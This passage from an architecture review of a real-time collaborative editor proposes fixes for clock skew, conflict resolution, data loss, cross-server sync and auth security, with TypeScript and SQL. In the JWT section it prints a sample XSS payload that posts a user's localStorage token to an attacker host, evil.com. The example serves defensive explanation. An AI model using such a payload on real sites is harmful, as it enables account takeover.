  • ✅ Sub-100ms propagation between servers
  • ❌ Additional Redis load and potential SPOF
  • ❌ Need to handle Redis connection failures gracefully

2. Clock Skew in Conflict Resolution

Problem: Client clock differences cause incorrect last-write-wins resolution, potentially losing recent edits.

Solution: Hybrid Vector Clocks + Server Timestamps

{
  serverTimestamp: 1234567890,
  vectorClock: {userId1: 5, userId2: 3},
  operation: {...}
}

• Trade-offs:
  • ✅ Accurate causality tracking
  • ❌ Increased complexity and message size
  • ❌ Requires conflict resolution UI for true conflicts

3. Data Loss from 30-Second Snapshot Window

Problem: System crash or network partition can lose up to 30 seconds of work.

Solution: Implement Operation Log with Checkpointing

• Store individual operations in PostgreSQL with periodic snapshots
• Reconstruct documents from last snapshot + operations
• Trade-offs:
  • ✅ Minimal data loss, full audit trail
  • ❌ Increased storage (mitigate with compression)
  • ❌ Complex reconstruction logic

4. WebSocket Connection Storm on Server Failure

Problem: Server crash causes all clients to reconnect simultaneously, overwhelming remaining servers.

Solution: Exponential Backoff with Jitter + Connection Pooling

reconnectDelay = Math.min(baseDelay * Math.pow(2, attempt) + random(0, 1000), maxDelay)

• Implement WebSocket connection limits per server
• Trade-offs:
  • ✅ Prevents cascade failures
  • ❌ Slower recovery for some users
  • ❌ Need sticky sessions or state migration

5. Operational Transform Inconsistency

Problem: Concurrent edits to same paragraph with last-write-wins causes character-level corruption.

Solution: Implement Proper OT or CRDT (Yjs/Automerge)

• Use operation transformation for character-level merging
• Trade-offs:
  • ✅ Preserves all users' intentions
  • ❌ Significant implementation complexity
  • ❌ Larger operation payload size

6. PostgreSQL Write Bottleneck

Problem: All changes funnel through single master database, limiting throughput.

Solution: Write-Through Cache + Async Batch Writes

// Buffer operations in Redis, batch write to PostgreSQL
await redis.lpush(`doc:${docId}:ops`, operation);
// Background job processes queue every 100ms or 100 operations

• Trade-offs:
  • ✅ 10x+ write throughput improvement
  • ❌ Potential data loss if Redis fails
  • ❌ Increased system complexity

7. JWT Token Security Vulnerabilities

Problem: localStorage tokens vulnerable to XSS, no refresh mechanism, 24-hour window too long.

Solution: httpOnly Cookies + Refresh Token Pattern

• Access token: 15 minutes, in memory
• Refresh token: 7 days, httpOnly cookie
• Implement token rotation on refresh
• Trade-offs:
  • ✅ Significantly improved security
  • ❌ More complex auth flow
  • ❌ CSRF protection needed

8. CDN Cache Poisoning

Problem: 5-minute API response caching can serve stale document data.

Solution: Cache-Control Headers + Versioned Endpoints

Cache-Control: private, max-age=0, must-revalidate
ETag: "document-version-hash"

• Use CDN only for truly static assets
• Trade-offs:
  • ✅ Always fresh data
  • ❌ Higher origin server load
  • ❌ Increased bandwidth costs

9. Database Partition by Organization Creates Hot Shards

Problem: Large organizations create hotspots, limiting scalability.

Solution: Consistent Hashing with Virtual Nodes

• Hash(orgId + docId) for distribution
• Implement document sharding within large orgs
• Trade-offs:
  • ✅ Even load distribution
  • ❌ Cross-shard queries become complex
  • ❌ Need distributed transaction support

10. No Presence Awareness

Problem: Users can't see who else is editing, leading to conflicts.

Solution: Cursor Position Broadcasting + Presence Service

• Track active users per document in Redis
• Broadcast cursor positions via WebSocket
• Trade-offs:
  • ✅ Better collaboration UX
  • ❌ Increased message volume
  • ❌ Privacy considerations

Priority Fixes

1. Immediate: Replace polling with Pub/Sub (fixes collaboration lag)
2. Critical: Implement proper OT/CRDT (prevents data corruption)
3. Important: Add operation log (prevents data loss)
4. Important: Fix auth security (prevents breaches)
5. Nice-to-have: Add presence awareness (improves UX)

Each fix should be implemented incrementally with feature flags for safe rollout and rollback capability.

Comprehensive Architecture Review: Real-time Collaborative Document Editor

This architecture has several critical issues that will cause data loss, poor user experience, and scaling problems. Let me analyze each systematically.

---

1. Critical Data Consistency Issues

Issue 1.1: Client Clock-Based Timestamps (Last-Write-Wins)

The Problem: Using client clocks for conflict resolution is fundamentally broken. Client clocks can be wrong by hours, days, or even years.

Timeline (Server Time):
10:00:00 - Alice types "Hello" (Alice's clock says 15:00:00)
10:00:01 - Bob types "World" (Bob's clock says 09:00:00)

Result: Alice's edit wins because 15:00:00 > 09:00:00
Bob's edit is silently discarded, even though it came AFTER Alice's

Real-world scenarios that break this:

• Mobile devices with dead CMOS batteries
• Users in different timezones with misconfigured clocks
• VMs with clock drift
• Malicious users who set their clock to year 2099 to always "win"

Solution: Hybrid Logical Clocks (HLC) or Server-Assigned Lamport Timestamps

// Hybrid Logical Clock implementation
interface HLC {
  wallTime: number;    // Physical time from server
  logical: number;     // Logical counter for ordering
  nodeId: string;      // Tie-breaker for simultaneous events
}

class HybridLogicalClock {
  private wallTime: number = 0;
  private logical: number = 0;
  private nodeId: string;

  constructor(nodeId: string) {
    this.nodeId = nodeId;
  }

  // Called when sending an event
  tick(): HLC {
    const now = Date.now();
    if (now > this.wallTime) {
      this.wallTime = now;
      this.logical = 0;
    } else {
      this.logical++;
    }
    return { wallTime: this.wallTime, logical: this.logical, nodeId: this.nodeId };
  }

  // Called when receiving an event
  receive(remote: HLC): HLC {
    const now = Date.now();
    if (now > this.wallTime && now > remote.wallTime) {
      this.wallTime = now;
      this.logical = 0;
    } else if (this.wallTime > remote.wallTime) {
      this.logical++;
    } else if (remote.wallTime > this.wallTime) {
      this.wallTime = remote.wallTime;
      this.logical = remote.logical + 1;
    } else {
      // Equal wall times
      this.logical = Math.max(this.logical, remote.logical) + 1;
    }
    return { wallTime: this.wallTime, logical: this.logical, nodeId: this.nodeId };
  }

  // Compare two HLCs
  static compare(a: HLC, b: HLC): number {
    if (a.wallTime !== b.wallTime) return a.wallTime - b.wallTime;
    if (a.logical !== b.logical) return a.logical - b.logical;
    return a.nodeId.localeCompare(b.nodeId);
  }
}

Trade-offs:

Approach	Pros	Cons
HLC	Preserves causality, tolerates clock drift	Slightly more complex, ~24 bytes per timestamp
Server timestamps only	Simple	Doesn't capture happens-before relationships
Vector clocks	Perfect causality tracking	O(n) space where n = number of clients

---

Issue 1.2: Paragraph-Level Last-Write-Wins Destroys Work

The Problem: When two users edit the same paragraph, one user's work is completely discarded.

Original paragraph: "The quick brown fox"

Alice (10:00:00): Changes to "The quick brown fox jumps"
Bob   (10:00:01): Changes to "The slow brown fox"

Result: "The slow brown fox"
Alice's addition of "jumps" is silently lost

Solution: Operational Transformation (OT) or CRDTs

For a Google Docs-like experience, OT is the industry standard:

// Operational Transformation for text
type Operation = 
  | { type: 'retain'; count: number }
  | { type: 'insert'; text: string }
  | { type: 'delete'; count: number };

class OTDocument {
  private content: string = '';
  private revision: number = 0;

  // Transform operation A against operation B
  // Returns A' such that apply(apply(doc, B), A') === apply(apply(doc, A), B')
  static transform(a: Operation[], b: Operation[]): [Operation[], Operation[]] {
    const aPrime: Operation[] = [];
    const bPrime: Operation[] = [];
    
    let indexA = 0, indexB = 0;
    let opA = a[indexA], opB = b[indexB];

    while (opA || opB) {
      // Insert operations go first
      if (opA?.type === 'insert') {
        aPrime.push(opA);
        bPrime.push({ type: 'retain', count: opA.text.length });
        opA = a[++indexA];
        continue;
      }
      if (opB?.type === 'insert') {
        bPrime.push(opB);
        aPrime.push({ type: 'retain', count: opB.text.length });
        opB = b[++indexB];
        continue;
      }

      // Both are retain or delete - handle based on lengths
      // ... (full implementation would handle all cases)
    }

    return [aPrime, bPrime];
  }

  // Apply operation to document
  apply(ops: Operation[]): void {
    let index = 0;
    let newContent = '';

    for (const op of ops) {
      switch (op.type) {
        case 'retain':
          newContent += this.content.slice(index, index + op.count);
          index += op.count;
          break;
        case 'insert':
          newContent += op.text;
          break;
        case 'delete':
          index += op.count;
          break;
      }
    }
    newContent += this.content.slice(index);
    this.content = newContent;
    this.revision++;
  }
}

// Server-side OT handling
class OTServer {
  private document: OTDocument;
  private history: Operation[][] = [];

  receiveOperation(clientRevision: number, ops: Operation[]): Operation[] {
    // Transform against all operations that happened since client's revision
    let transformedOps = ops;
    
    for (let i = clientRevision; i < this.history.length; i++) {
      const [newOps] = OTDocument.transform(transformedOps, this.history[i]);
      transformedOps = newOps;
    }

    this.document.apply(transformedOps);
    this.history.push(transformedOps);
    
    return transformedOps;
  }
}

Alternative: CRDTs (Conflict-free Replicated Data Types)

// Simplified RGA (Replicated Growable Array) CRDT for text
interface RGANode {
  id: { timestamp: HLC; nodeId: string };
  char: string | null;  // null = tombstone (deleted)
  parent: RGANode['id'] | null;
}

class RGADocument {
  private nodes: Map<string, RGANode> = new Map();
  private clock: HybridLogicalClock;

  constructor(nodeId: string) {
    this.clock = new HybridLogicalClock(nodeId);
  }

  insert(position: number, char: string): RGANode {
    const parentId = this.getNodeAtPosition(position - 1)?.id ?? null;
    const node: RGANode = {
      id: { timestamp: this.clock.tick(), nodeId: this.clock['nodeId'] },
      char,
      parent: parentId
    };
    this.nodes.set(this.nodeIdToString(node.id), node);
    return node;
  }

  delete(position: number): void {
    const node = this.getNodeAtPosition(position);
    if (node) node.char = null;  // Tombstone
  }

  merge(remoteNode: RGANode): void {
    const key = this.nodeIdToString(remoteNode.id);
    if (!this.nodes.has(key)) {
      this.nodes.set(key, remoteNode);
      this.clock.receive(remoteNode.id.timestamp);
    }
  }

  getText(): string {
    return this.getOrderedNodes()
      .filter(n => n.char !== null)
      .map(n => n.char)
      .join('');
  }

  private nodeIdToString(id: RGANode['id']): string {
    return `${id.timestamp.wallTime}-${id.timestamp.logical}-${id.nodeId}`;
  }

  private getOrderedNodes(): RGANode[] {
    // Topological sort based on parent relationships
    // with timestamp as tie-breaker
    // ... implementation
  }
}

Trade-offs:

Approach	Pros	Cons
OT	Compact operations, well-understood	Requires central server for ordering, complex transform functions
CRDT	Decentralized, works offline	Larger metadata overhead, tombstones accumulate
Last-write-wins	Simple	Loses data

Recommendation: Use OT for real-time sync (like Google Docs does) with CRDT for offline support.

---

2. Real-time Synchronization Failures

Issue 2.1: Cross-Server WebSocket Isolation

The Problem: With round-robin load balancing, users on the same document connect to different servers. Changes only broadcast to clients on the SAME server.

Document: "Project Proposal"

Server A:                    Server B:
├── Alice (editing)          ├── Bob (editing)
└── Charlie (viewing)        └── Diana (viewing)

Alice types "Hello" → Charlie sees it immediately
                   → Bob and Diana wait up to 2 seconds (polling interval)

This creates a jarring, inconsistent experience where some users see real-time updates and others see delayed updates.

Solution: Redis Pub/Sub for Cross-Server Broadcasting

import Redis from 'ioredis';
import { WebSocket } from 'ws';

class DocumentSyncService {
  private redisPub: Redis;
  private redisSub: Redis;
  private localClients: Map<string, Set<WebSocket>> = new Map();
  private serverId: string;

  constructor() {
    this.serverId = crypto.randomUUID();
    this.redisPub = new Redis(process.env.REDIS_URL);
    this.redisSub = new Redis(process.env.REDIS_URL);
    
    this.setupSubscriptions();
  }

  private setupSubscriptions(): void {
    this.redisSub.psubscribe('doc:*', (err) => {
      if (err) console.error('Failed to subscribe:', err);
    });

    this.redisSub.on('pmessage', (pattern, channel, message) => {
      const documentId = channel.replace('doc:', '');
      const parsed = JSON.parse(message);
      
      // Don't re-broadcast our own messages
      if (parsed.serverId === this.serverId) return;
      
      this.broadcastToLocalClients(documentId, parsed.payload);
    });
  }

  async publishChange(documentId: string, change: DocumentChange): Promise<void> {
    const message = JSON.stringify({
      serverId: this.serverId,
      payload: change,
      timestamp: Date.now()
    });

    // Publish to Redis for other servers
    await this.redisPub.publish(`doc:${documentId}`, message);
    
    // Also broadcast to local clients
    this.broadcastToLocalClients(documentId, change);
  }

  private broadcastToLocalClients(documentId: string, change: DocumentChange): void {
    const clients = this.localClients.get(documentId);
    if (!clients) return;

    const message = JSON.stringify(change);
    for (const client of clients) {
      if (client.readyState === WebSocket.OPEN) {
        client.send(message);
      }
    }
  }

  registerClient(documentId: string, ws: WebSocket): void {
    if (!this.localClients.has(documentId)) {
      this.localClients.set(documentId, new Set());
    }
    this.localClients.get(documentId)!.add(ws);

    ws.on('close', () => {
      this.localClients.get(documentId)?.delete(ws);
    });
  }
}

Alternative: Sticky Sessions with Consistent Hashing

// Nginx configuration for sticky sessions based on document ID
/*
upstream api_servers {
    hash $arg_documentId consistent;
    server api1:3000;
    server api2:3000;
    server api3:3000;
}
*/

// Or implement in application load balancer
class DocumentAwareLoadBalancer {
  private servers: string[];
  private hashRing: ConsistentHashRing;

  constructor(servers: string[]) {
    this.servers = servers;
    this.hashRing = new ConsistentHashRing(servers, 150); // 150 virtual nodes
  }

  getServerForDocument(documentId: string): string {
    return this.hashRing.getNode(documentId);
  }

  // Handle server failures gracefully
  removeServer(server: string): void {
    this.hashRing.removeNode(server);
    // Clients will reconnect and get routed to new server
  }
}

Trade-offs:

Approach	Pros	Cons
Redis Pub/Sub	Decoupled servers, any server can handle any doc	Additional infrastructure, Redis becomes SPOF
Sticky sessions	Simpler, no cross-server communication	Uneven load, complex failover
Dedicated doc servers	Best performance per document	Complex routing, underutilization

---

Issue 2.2: 2-Second Polling Creates Unacceptable Latency

The Problem: Even with Redis Pub/Sub, the architecture mentions polling PostgreSQL every 2 seconds as a fallback. This creates:

• Up to 2 seconds of latency for changes
• Unnecessary database load
• Poor user experience for collaboration

Solution: Event-Driven Architecture with PostgreSQL LISTEN/NOTIFY

import { Pool, Client } from 'pg';

class PostgresChangeNotifier {
  private listenerClient: Client;
  private pool: Pool;
  private handlers: Map<string, Set<(change: any) => void>> = new Map();

  async initialize(): Promise<void> {
    this.listenerClient = new Client(process.env.DATABASE_URL);
    await this.listenerClient.connect();
    
    await this.listenerClient.query('LISTEN document_changes');
    
    this.listenerClient.on('notification', (msg) => {
      if (msg.channel === 'document_changes' && msg.payload) {
        const change = JSON.parse(msg.payload);
        this.notifyHandlers(change.document_id, change);
      }
    });
  }

  subscribe(documentId: string, handler: (change: any) => void): () => void {
    if (!this.handlers.has(documentId)) {
      this.handlers.set(documentId, new Set());
    }
    this.handlers.get(documentId)!.add(handler);

    // Return unsubscribe function
    return () => {
      this.handlers.get(documentId)?.delete(handler);
    };
  }

  private notifyHandlers(documentId: string, change: any): void {
    const handlers = this.handlers.get(documentId);
    if (handlers) {
      for (const handler of handlers) {
        handler(change);
      }
    }
  }
}

// Database trigger to send notifications
/*
CREATE OR REPLACE FUNCTION notify_document_change()
RETURNS TRIGGER AS $$
BEGIN
  PERFORM pg_notify(
    'document_changes',
    json_build_object(
      'document_id', NEW.document_id,
      'operation_id', NEW.id,
      'operation', NEW.operation,
      'revision', NEW.revision
    )::text
  );
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER document_change_trigger
AFTER INSERT ON document_operations
FOR EACH ROW EXECUTE FUNCTION notify_document_change();
*/

---

3. Data Storage and Durability Issues

Issue 3.1: 30-Second Snapshot Interval Causes Data Loss

The Problem: If a server crashes, up to 30 seconds of work is lost. For a real-time editor, this is catastrophic.

Timeline:
00:00 - Snapshot saved
00:15 - Alice types 500 words
00:29 - Server crashes
00:30 - Server restarts

Result: Alice's 500 words are gone forever

Solution: Operation Log with Periodic Compaction

interface DocumentOperation {
  id: string;
  documentId: string;
  userId: string;
  revision: number;
  operation: Operation[];  // OT operations
  timestamp: HLC;
  checksum: string;
}

class DurableDocumentStore {
  private pool: Pool;
  private redis: Redis;

  async applyOperation(op: DocumentOperation): Promise<void> {
    const client = await this.pool.connect();
    
    try {
      await client.query('BEGIN');

      // 1. Append to operation log (durable)
      await client.query(`
        INSERT INTO document_operations 
        (id, document_id, user_id, revision, operation, timestamp, checksum)
        VALUES ($1, $2, $3, $4, $5, $6, $7)
      `, [op.id, op.documentId, op.userId, op.revision, 
          JSON.stringify(op.operation), op.timestamp, op.checksum]);

      // 2. Update materialized view (for fast reads)
      await client.query(`
        UPDATE documents 
        SET current_revision = $1, 
            last_modified = NOW(),
            content = apply_operation(content, $2)
        WHERE id = $3 AND current_revision = $4
      `, [op.revision, JSON.stringify(op.operation), op.documentId, op.revision - 1]);

      await client.query('COMMIT');

      // 3. Cache in Redis for real-time sync
      await this.redis.xadd(
        `doc:${op.documentId}:ops`,
        'MAXLEN', '~', '10000',  // Keep last ~10k operations
        '*',
        'data', JSON.stringify(op)
      );

    } catch (error) {
      await client.query('ROLLBACK');
      throw error;
    } finally {
      client.release();
    }
  }

  // Periodic compaction job
  async compactDocument(documentId: string): Promise<void> {
    const client = await this.pool.connect();
    
    try {
      await client.query('BEGIN');

      // Get current state
      const { rows: [doc] } = await client.query(
        'SELECT content, current_revision FROM documents WHERE id = $1 FOR UPDATE',
        [documentId]
      );

      // Create snapshot
      await client.query(`
        INSERT INTO document_snapshots (document_id, revision, content, created_at)
        VALUES ($1, $2, $3, NOW())
      `, [documentId, doc.current_revision, doc.content]);

      // Delete old operations (keep last 1000 for undo history)
      await client.query(`
        DELETE FROM document_operations 
        WHERE document_id = $1 
        AND revision < $2 - 1000
      `, [documentId, doc.current_revision]);

      await client.query('COMMIT');
    } finally {
      client.release();
    }
  }

  // Recover document from operations
  async recoverDocument(documentId: string): Promise<string> {
    // Find latest snapshot
    const { rows: [snapshot] } = await this.pool.query(`
      SELECT content, revision FROM document_snapshots 
      WHERE document_id = $1 
      ORDER BY revision DESC LIMIT 1
    `, [documentId]);

    let content = snapshot?.content ?? '';
    let fromRevision = snapshot?.revision ?? 0;

    // Apply all operations since snapshot
    const { rows: operations } = await this.pool.query(`
      SELECT operation FROM document_operations 
      WHERE document_id = $1 AND revision > $2
      ORDER BY revision ASC
    `, [documentId, fromRevision]);

    for (const op of operations) {
      content = applyOperation(content, JSON.parse(op.operation));
    }

    return content;
  }
}

Database Schema:

-- Immutable operation log
CREATE TABLE document_operations (
    id UUID PRIMARY KEY,
    document_id UUID NOT NULL REFERENCES documents(id),
    user_id UUID NOT NULL REFERENCES users(id),
    revision BIGINT NOT NULL,
    operation JSONB NOT NULL,
    timestamp JSONB NOT NULL,  -- HLC
    checksum VARCHAR(64) NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    
    UNIQUE(document_id, revision)
);

-- Index for efficient replay
CREATE INDEX idx_doc_ops_replay 
ON document_operations(document_id, revision);

-- Periodic snapshots for fast recovery
CREATE TABLE document_snapshots (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    document_id UUID NOT NULL REFERENCES documents(id),
    revision BIGINT NOT NULL,
    content TEXT NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    
    UNIQUE(document_id, revision)
);

-- Materialized current state (for fast reads)
CREATE TABLE documents (
    id UUID PRIMARY KEY,
    title VARCHAR(500),
    content TEXT,
    current_revision BIGINT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    last_modified TIMESTAMPTZ DEFAULT NOW()
);

Trade-offs:

Approach	Pros	Cons
Operation log	Zero data loss, full history	Storage grows, need compaction
Frequent snapshots	Simple recovery	Still some data loss window
Write-ahead log	Database handles durability	Tied to specific database

---

Issue 3.2: Full HTML Snapshots Are Inefficient and Dangerous

The Problem:

1. Storage bloat: A 10KB document with 1000 edits = 10MB of snapshots
2. XSS vulnerabilities: Storing raw HTML allows script injection
3. Format lock-in: Can't easily migrate to different rendering

Solution: Structured Document Model with Delta Storage

// Structured document model (similar to ProseMirror/Slate)
interface DocumentNode {
  type: 'doc' | 'paragraph' | 'heading' | 'list' | 'listItem' | 'text';
  content?: DocumentNode[];
  text?: string;
  marks?: Mark[];  // bold, italic, link, etc.
  attrs?: Record<string, any>;
}

interface Mark {
  type: 'bold' | 'italic' | 'underline' | 'link' | 'code';
  attrs?: Record<string, any>;
}

// Example document
const exampleDoc: DocumentNode = {
  type: 'doc',
  content: [
    {
      type: 'heading',
      attrs: { level: 1 },
      content: [{ type: 'text', text: 'My Document' }]
    },
    {
      type: 'paragraph',
      content: [
        { type: 'text', text: 'Hello ' },
        { type: 'text', text: 'world', marks: [{ type: 'bold' }] }
      ]
    }
  ]
};

// Sanitization on input
class DocumentSanitizer {
  private allowedNodeTypes = new Set([
    'doc', 'paragraph', 'heading', 'list', 'listItem', 'text',
    'blockquote', 'codeBlock', 'image', 'table', 'tableRow', 'tableCell'
  ]);
  
  private allowedMarks = new Set([
    'bold', 'italic', 'underline', 'strike', 'code', 'link'
  ]);

  sanitize(node: DocumentNode): DocumentNode {
    if (!this.allowedNodeTypes.has(node.type)) {
      // Convert unknown types to paragraph
      return { type: 'paragraph', content: this.sanitizeContent(node.content) };
    }

    return {
      type: node.type,
      ...(node.text && { text: this.sanitizeText(node.text) }),
      ...(node.content && { content: this.sanitizeContent(node.content) }),
      ...(node.marks && { marks: this.sanitizeMarks(node.marks) }),
      ...(node.attrs && { attrs: this.sanitizeAttrs(node.type, node.attrs) })
    };
  }

  private sanitizeText(text: string): string {
    // Remove any potential script injections
    return text.replace(/<[^>]*>/g, '');
  }

  private sanitizeMarks(marks: Mark[]): Mark[] {
    return marks.filter(m => this.allowedMarks.has(m.type));
  }

  private sanitizeAttrs(nodeType: string, attrs: Record<string, any>): Record<string, any> {
    const sanitized: Record<string, any> = {};
    
    switch (nodeType) {
      case 'heading':
        sanitized.level = Math.min(6, Math.max(1, parseInt(attrs.level) || 1));
        break;
      case 'link':
        // Only allow safe URL schemes
        if (attrs.href && /^https?:\/\//.test(attrs.href)) {
          sanitized.href = attrs.href;
        }
        break;
      case 'image':
        if (attrs.src && /^https?:\/\//.test(attrs.src)) {
          sanitized.src = attrs.src;
          sanitized.alt = String(attrs.alt || '').slice(0, 500);
        }
        break;
    }
    
    return sanitized;
  }
}

// Render to HTML only on output
class DocumentRenderer {
  render(node: DocumentNode): string {
    switch (node.type) {
      case 'doc':
        return node.content?.map(n => this.render(n)).join('') ?? '';
      
      case 'paragraph':
        return `<p>${this.renderContent(node)}</p>`;
      
      case 'heading':
        const level = node.attrs?.level ?? 1;
        return `<h${level}>${this.renderContent(node)}</h${level}>`;
      
      case 'text':
        let text = this.escapeHtml(node.text ?? '');
        for (const mark of node.marks ?? []) {
          text = this.applyMark(text, mark);
        }
        return text;
      
      default:
        return this.renderContent(node);
    }
  }

  private escapeHtml(text: string): string {
    return text
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&quot;');
  }

  private applyMark(text: string, mark: Mark): string {
    switch (mark.type) {
      case 'bold': return `<strong>${text}</strong>`;
      case 'italic': return `<em>${text}</em>`;
      case 'code': return `<code>${text}</code>`;
      case 'link': return `<a href="${this.escapeHtml(mark.attrs?.href ?? '')}">${text}</a>`;
      default: return text;
    }
  }
}

---

4. Security Vulnerabilities

Issue 4.1: JWT in localStorage is Vulnerable to XSS

The Problem: Any XSS vulnerability (from user content, third-party scripts, browser extensions) can steal tokens.

// Attacker's XSS payload
fetch('https://evil.com/steal', {
  method: 'POST',
  body: localStorage.getItem('token')
});
// Attacker now has 24-hour access to victim's account

Solution: HTTP-Only Cookies with Proper Security Flags

// Server-side: Set secure cookies
import { Response } from 'express';

class AuthService {
  setAuthCookies(res: Response, tokens: { accessToken: string; refreshToken: string }): void {
    // Access token - short lived, used for API calls
    res.cookie('access_token', tokens.accessToken, {
      httpOnly: true,           // Not accessible via JavaScript
      secure: true,             // HTTPS only
      sameSite: 'strict',       // CSRF protection
      maxAge: 15 * 60 * 1000,   // 15 minutes
      path: '/api'              // Only sent to API routes
    });

    // Refresh token - longer lived, only sent to refresh endpoint
    res.cookie('refresh_token', tokens.refreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 days
      path: '/api/auth/refresh'          // Only sent to refresh endpoint
    });

    // CSRF token - readable by JavaScript, verified on state-changing requests
    const csrfToken = crypto.randomBytes(32).toString('hex');
    res.cookie('csrf_token', csrfToken, {
      httpOnly: false,  // Readable by JavaScript
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000
    });
  }
}

// Middleware to verify CSRF token
function csrfProtection(req: Request, res: Response, next: NextFunction): void {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const cookieToken = req.cookies.csrf_token;
    const headerToken = req.headers['x-csrf-token'];
    
    if (!cookieToken || !headerToken || cookieToken !== headerToken) {
      return res.status(403).json({ error: 'Invalid CSRF token' });
    }
  }
  next();
}

// Client-side: Include CSRF token in requests
class ApiClient {
  private getCsrfToken(): string {
    return document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1] ?? '';
  }

  async request(url: string, options: RequestInit = {}): Promise<Response> {
    return fetch(url, {
      ...options,
      credentials: 'include',  // Include cookies
      headers: {
        ...options.headers,
        'X-CSRF-Token': this.getCsrfToken()
      }
    });
  }
}

WebSocket Authentication:

// WebSocket connections need special handling since they don't send cookies automatically
class SecureWebSocketServer {
  handleUpgrade(request: IncomingMessage, socket: Socket, head: Buffer): void {
    // Option 1: Verify cookie on upgrade
    const cookies = this.parseCookies(request.headers.cookie ?? '');
    const accessToken = cookies.access_token;
    
    try {
      const payload = this.verifyToken(accessToken);
      
      this.wss.handleUpgrade(request, socket, head, (ws) => {
        (ws as any).userId = payload.userId;
        this.wss.emit('connection', ws, request);
      });
    } catch (error) {
      socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
      socket.destroy();
    }
  }

  // Option 2: Ticket-based authentication
  async generateWebSocketTicket(userId: string): Promise<string> {
    const ticket = crypto.randomBytes(32).toString('hex');
    
    // Store ticket with short expiry
    await this.redis.setex(`ws_ticket:${ticket}`, 30, userId);
    
    return ticket;
  }

  async validateTicket(ticket: string): Promise<string | null> {
    const userId = await this.redis.get(`ws_ticket:${ticket}`);
    if (userId) {
      await this.redis.del(`ws_ticket:${ticket}`);  // One-time use
    }
    return userId;
  }
}

Trade-offs:

Approach	Pros	Cons
HTTP-only cookies	XSS-resistant	Need CSRF protection, more complex
localStorage + fingerprinting	Simpler	Vulnerable to XSS
Session IDs only	Most secure	Requires server-side session store

---

Issue 4.2: 24-Hour Token Expiry is Too Long

The Problem: If a token is compromised, the attacker has 24 hours of access. For a document editor with sensitive content, this is too risky.

Solution: Short-Lived Access Tokens with Refresh Token Rotation

class TokenService {
  private readonly ACCESS_TOKEN_EXPIRY = '15m';
  private readonly REFRESH_TOKEN_EXPIRY = '7d';

  async generateTokenPair(userId: string): Promise<TokenPair> {
    const tokenFamily = crypto.randomUUID();
    
    const accessToken = jwt.sign(
      { userId, type: 'access' },
      process.env.JWT_SECRET!,
      { expiresIn: this.ACCESS_TOKEN_EXPIRY }
    );

    const refreshToken = jwt.sign(
      { userId, type: 'refresh', family: tokenFamily },
      process.env.JWT_REFRESH_SECRET!,
      { expiresIn: this.REFRESH_TOKEN_EXPIRY }
    );

    // Store refresh token hash for revocation
    await this.redis.setex(
      `refresh:${tokenFamily}`,
      7 * 24 * 60 * 60,
      JSON.stringify({
        userId,
        tokenHash: this.hashToken(refreshToken),
        createdAt: Date.now()
      })
    );

    return { accessToken, refreshToken };
  }

  async refreshTokens(refreshToken: string): Promise<TokenPair | null> {
    try {
      const payload = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET!) as any;
      
      // Check if token family is still valid
      const storedData = await this.redis.get(`refresh:${payload.family}`);
      if (!storedData) {
        // Token family was revoked - possible token theft!
        await this.revokeAllUserSessions(payload.userId);
        return null;
      }

      const stored = JSON.parse(storedData);
      
      // Verify token hash matches
      if (stored.tokenHash !== this.hashToken(refreshToken)) {
        // Token reuse detected - revoke family
        await this.redis.del(`refresh:${payload.family}`);
        await this.revokeAllUserSessions(payload.userId);
        return null;
      }

      // Generate new token pair (rotation)
      const newTokens = await this.generateTokenPair(payload.userId);
      
      // Invalidate old family
      await this.redis.del(`refresh:${payload.family}`);

      return newTokens;
    } catch (error) {
      return null;
    }
  }

  private hashToken(token: string): string {
    return crypto.createHash('sha256').update(token).digest('hex');
  }

  async revokeAllUserSessions(userId: string): Promise<void> {
    // In production, use a more efficient approach with user-specific key patterns
    const keys = await this.redis.keys('refresh:*');
    for (const key of keys) {
      const data = await this.redis.get(key);
      if (data && JSON.parse(data).userId === userId) {
        await this.redis.del(key);
      }
    }
  }
}

---

Issue 4.3: Missing Document-Level Authorization

The Problem: The architecture doesn't mention access control. Can any authenticated user access any document?

Solution: Document Permission System

enum Permission {
  VIEW = 'view',
  COMMENT = 'comment',
  EDIT = 'edit',
  ADMIN = 'admin'
}

interface DocumentAccess {
  documentId: string;
  principalType: 'user' | 'group' | 'organization' | 'public';
  principalId: string | null;  // null for public
  permission: Permission;
}

class DocumentAuthorizationService {
  private cache: Redis;
  private pool: Pool;

  async checkPermission(
    userId: string,
    documentId: string,
    requiredPermission: Permission
  ): Promise<boolean> {
    // Check cache first
    const cacheKey = `authz:${userId}:${documentId}`;
    const cached = await this.cache.get(cacheKey);
    
    if (cached) {
      return this.permissionSatisfies(cached as Permission, requiredPermission);
    }

    // Query database
    const effectivePermission = await this.getEffectivePermission(userId, documentId);
    
    // Cache for 5 minutes
    if (effectivePermission) {
      await this.cache.setex(cacheKey, 300, effectivePermission);
    }

    return this.permissionSatisfies(effectivePermission, requiredPermission);
  }

  private async getEffectivePermission(
    userId: string,
    documentId: string
  ): Promise<Permission | null> {
    const { rows } = await this.pool.query(`
      WITH user_groups AS (
        SELECT group_id FROM group_members WHERE user_id = $1
      ),
      user_org AS (
        SELECT organization_id FROM users WHERE id = $1
      )
      SELECT permission FROM document_access
      WHERE document_id = $2
      AND (
        (principal_type = 'user' AND principal_id = $1)
        OR (principal_type = 'group' AND principal_id IN (SELECT group_id FROM user_groups))
        OR (principal_type = 'organization' AND principal_id = (SELECT organization_id FROM user_org))
        OR (principal_type = 'public')
      )
      ORDER BY 
        CASE permission
          WHEN 'admin' THEN 4
          WHEN 'edit' THEN 3
          WHEN 'comment' THEN 2
          WHEN 'view' THEN 1
        END DESC
      LIMIT 1
    `, [userId, documentId]);

    return rows[0]?.permission ?? null;
  }

